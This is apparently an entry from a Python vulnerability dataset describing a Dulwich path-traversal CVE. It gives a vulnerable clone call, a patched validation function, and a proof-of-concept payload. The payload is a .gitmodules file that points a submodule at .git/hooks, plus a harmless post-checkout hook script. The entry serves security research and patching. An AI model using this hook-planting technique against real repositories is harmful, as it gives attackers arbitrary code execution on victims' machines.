CVE-2026-52726
Path traversal in Dulwich submodules allows RCE via a malicious repo.
- CVSS 7.5
- CWE-22
- Input Validation and Sanitization
- Remote
Dulwich is a pure-Python implementation of the Git file formats and protocols. Starting in version 0.23.2 and prior to version 1.2.5, `dulwich.porcelain.submodule_update`, and by extension `porcelain.clone(…, recurse_submodules=True)`, materializes attacker-controlled submodule paths from a crafted upstream repository without path validation. A malicious `.gitmodules` plus a matching tree gitlink whose `path` is `.git/hooks` (or any other directory inside the parent repository's `.git` directory) causes the attacker's submodule tree contents to be written directly into the victim's `.git/hooks/` directory, preserving executable mode bits. The dropped executables are then run by any subsequent `git` or `dulwich` command that invokes the matching hook, resulting in arbitrary code execution. This is the dulwich equivalent of the upstream Git fixes for CVE-2024-32002 / CVE-2024-32004, which were never propagated into dulwich's separately implemented submodule porcelain. Version 1.2.5 patches the issue.
- CWE
- CWE-22
- CVSS base score
- 7.5
- Published
- 2026-06-10
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Dulwich
- Fixed by upgrading
- Yes
Solution
Upgrade Dulwich to version 1.2.5 or later.
Vulnerable code sample
import os
import tempfile
from dulwich import porcelain
# This code, when run with a vulnerable version of dulwich (e.g., 0.23.2 through 1.2.4),
# is susceptible to arbitrary code execution. It demonstrates the client-side
# action that triggers the vulnerability.
# An attacker would host a repository at this URL. The repository would be
# specially crafted with a .gitmodules file pointing a submodule path
# to a sensitive location like `.git/hooks`.
malicious_repo_url = "https://example.com/malicious-repo-cve-2026-52726.git"
# A temporary directory where the victim will clone the repository.
target_path = os.path.join(tempfile.gettempdir(), "vulnerable-clone-demo")
# The vulnerable operation.
# The `recurse_submodules=True` flag triggers the submodule update process.
# In vulnerable versions, dulwich does not validate the submodule's `path`
# specified in the `.gitmodules` file.
# An attacker can set the path to ".git/hooks", causing the contents of their
# malicious submodule (e.g., an executable "post-commit" script) to be written
# directly into the victim's local .git/hooks/ directory.
# Any subsequent git command that triggers this hook would then execute the
# attacker's code.
try:
porcelain.clone(
malicious_repo_url,
target_path,
recurse_submodules=True
)
print(f"Repository cloned to {target_path}")
print("If the remote repository was malicious, a hook may have been installed.")
except Exception as e:
# This exception is expected because the URL is a placeholder.
# In a real attack, the attacker would provide a working URL.
print(f"Clone failed (as expected with a placeholder URL): {e}")Patched code sample
def validate_submodule_path(path: bytes):
"""
Validate that a submodule path from a .gitmodules file is not inside .git/.
This logic represents the fix for the vulnerability. Prior to the fix, a
maliciously crafted submodule path (e.g., b".git/hooks/post-commit") was
not validated, allowing an attacker to write executable hook files into
the victim's .git directory.
This validation function is called on the submodule path before it is used,
raising an exception if the path is unsafe.
"""
# Normalize path to use forward slashes and split into components.
components = path.replace(b"\\", b"/").split(b"/")
# FIX: Block paths that begin with ".git".
# This prevents writing directly into the .git directory.
if components and components[0] == b".git":
raise ValueError(f"submodule path is inside .git: {path!r}")
# FIX: Block paths that contain ".git" as an intermediate directory.
# This prevents attacks like "src/.git/modules" on case-insensitive filesystems.
if b".git" in components:
raise ValueError(f"submodule path contains .git component: {path!r}")Payload
# File: .gitmodules (in the parent repository)
[submodule "evil"]
path = .git/hooks
url = ./malicious-submodule
# File: post-checkout (in the 'malicious-submodule' repository, marked as executable)
#!/bin/sh
echo "PWNED by CVE-2026-52726: Arbitrary code executed."
touch /tmp/pwned_by_dulwich
Cite this entry
@misc{vaitp:cve202652726,
title = {{Path traversal in Dulwich submodules allows RCE via a malicious repo.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-52726},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-52726/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
